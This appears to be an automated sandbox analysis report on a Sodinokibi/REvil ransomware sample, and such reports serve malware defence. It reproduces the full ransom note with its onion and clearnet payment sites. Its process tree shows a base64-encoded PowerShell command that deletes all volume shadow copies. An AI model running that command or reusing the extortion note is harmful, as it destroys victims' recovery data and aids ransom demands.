Analysis

  • max time kernel
    146s
  • max time network
    162s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    30-01-2022 08:02

General

  • Target

    1280396eb6a6f98dd92fc923c335b0cb4d5a0b6068ccf58294ea7fc77fa6892f.exe

  • Size

    164KB

  • MD5

    51d0e9f36957303760641ee8321b36c1

  • SHA1

    a7537fe90a824fa0c18f941a3add2b922fd031e0

  • SHA256

    1280396eb6a6f98dd92fc923c335b0cb4d5a0b6068ccf58294ea7fc77fa6892f

  • SHA512

    e73cdfd008cd3e2caeccf2d23f2cee91d359db66909e216f453eb1c1eef7024d519720601bec119c25c18221dfdaaa26d92ead341d6970652328688e20cb3d3a

Score
10/10

Malware Config

Extracted

Path

C:\d5e3vq14e-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion d5e3vq14e. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/93C02F9BBC1B3718 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/93C02F9BBC1B3718 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: s2idasXpa4I6Vm2wPC4xsiVh2rSRg+4uEBREFHnhXmzfa+CZ+xwiar8Yz4Pzlgmd uWl3pyoYVWzpqREx6dwf99ABTsPKL1A0ENwT3mJkk97uZlShSLKzNplocc6Ib/fM Cq58pdcWP0i6Z9csTmzvaXBuvSDna5J91fDyTbUTfbNcl9eWeBdhRbzgUGEMbQOH ZKzLPwqLMw3qA8gNTe+VNcveKyQdac6ijmIKwTvDljAidg3mat6JiilybKBNHWY1 9smVx7WQTjDdH6cowJ6PNh7v/jdZws8fvO47Px+/RacNbBaFQiv4OQCLiHrTA/EJ ozsJ5Ad2GjGjaEq3o21Ec2smdoKx1uG4BiMSFqwe+pnHbFup27KVjYFK41JMGMPQ 6NRIqz+9iAJEI44GASxR5j8ZmJxV5apfvgvhi+BbNTqjU2PA9p5EH9/aABOaxh7F WKXLVv2dC+Qj/mT/9eKcLdORIYVWOcx67PVbrI4l2B3MoKEpL5LwZmlOWxPPdLr5 GkJE6JUEQMMKGaCe9EXHijC863t5NDgyEbycOJdqutKZ07UecBsqvBCCJABxL7// fZC9Sv2J5rZ63vq5XaSvTHBZBpdFQTivWvFD9/NcbfiY/7D3KHrN19QdQwxIWVMg 7r6VpHBNNl1F/418k0mOG1xxQ39J8bhNpA+c/h6r6Ujyo5L1xUXnqQa2GD9JAmbT a0zf/IZASvf+Ji8IooShtvb/y79m6pQd3hRSefMOouC8XvqFDKWLm0EdtNAEwI8m IJlFe46IGwsJ1Sj88a3XinW0LW00kdHSvvtTi72z4IXkbHgOrsodSQdIa3Y0tycF pIKuD1zpZLN8fIPphhZ7j/9UWl/EoLrMZ3eFLGElhn7PqnF4W1HAvhUQ4FEJbGS7 0oV5hC2LAvhbc/m00EBVWBo+pqMT++T3uon+jmEGG2ppzPYzfirwAb4yGAbIatKy 3JbsWWrwkST5yEE+Ig/jjXtm4ObTy+llK+6n7fi56yrWw5nAmjSnfPaGWwpzozFv VYGlrEf4EJEnCMeG91j9MmwHNTGQY+nwJ/ZYsZapCXwOn99VBDiCFd2JFo3APYQf aerWVy2yvboPpQobsYqqui/0sciK1+MkCZF7ijaSgUhWvcs9aC9jSqOLziKkaoGr F3hXeQHXaZs= Extension name: d5e3vq14e ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/93C02F9BBC1B3718

http://decryptor.top/93C02F9BBC1B3718

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 11 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 28 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1280396eb6a6f98dd92fc923c335b0cb4d5a0b6068ccf58294ea7fc77fa6892f.exe
    "C:\Users\Admin\AppData\Local\Temp\1280396eb6a6f98dd92fc923c335b0cb4d5a0b6068ccf58294ea7fc77fa6892f.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:520
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:640
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1632

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/520-55-0x000007FEFB611000-0x000007FEFB613000-memory.dmp
      Filesize

      8KB

    • memory/520-57-0x0000000002490000-0x0000000002492000-memory.dmp
      Filesize

      8KB

    • memory/520-58-0x0000000002492000-0x0000000002494000-memory.dmp
      Filesize

      8KB

    • memory/520-59-0x0000000002494000-0x0000000002497000-memory.dmp
      Filesize

      12KB

    • memory/520-56-0x000007FEF26E0000-0x000007FEF323D000-memory.dmp
      Filesize

      11.4MB

    • memory/520-60-0x000000001B7E0000-0x000000001BADF000-memory.dmp
      Filesize

      3.0MB

    • memory/520-61-0x000000000249B000-0x00000000024BA000-memory.dmp
      Filesize

      124KB

    • memory/876-54-0x0000000075471000-0x0000000075473000-memory.dmp
      Filesize

      8KB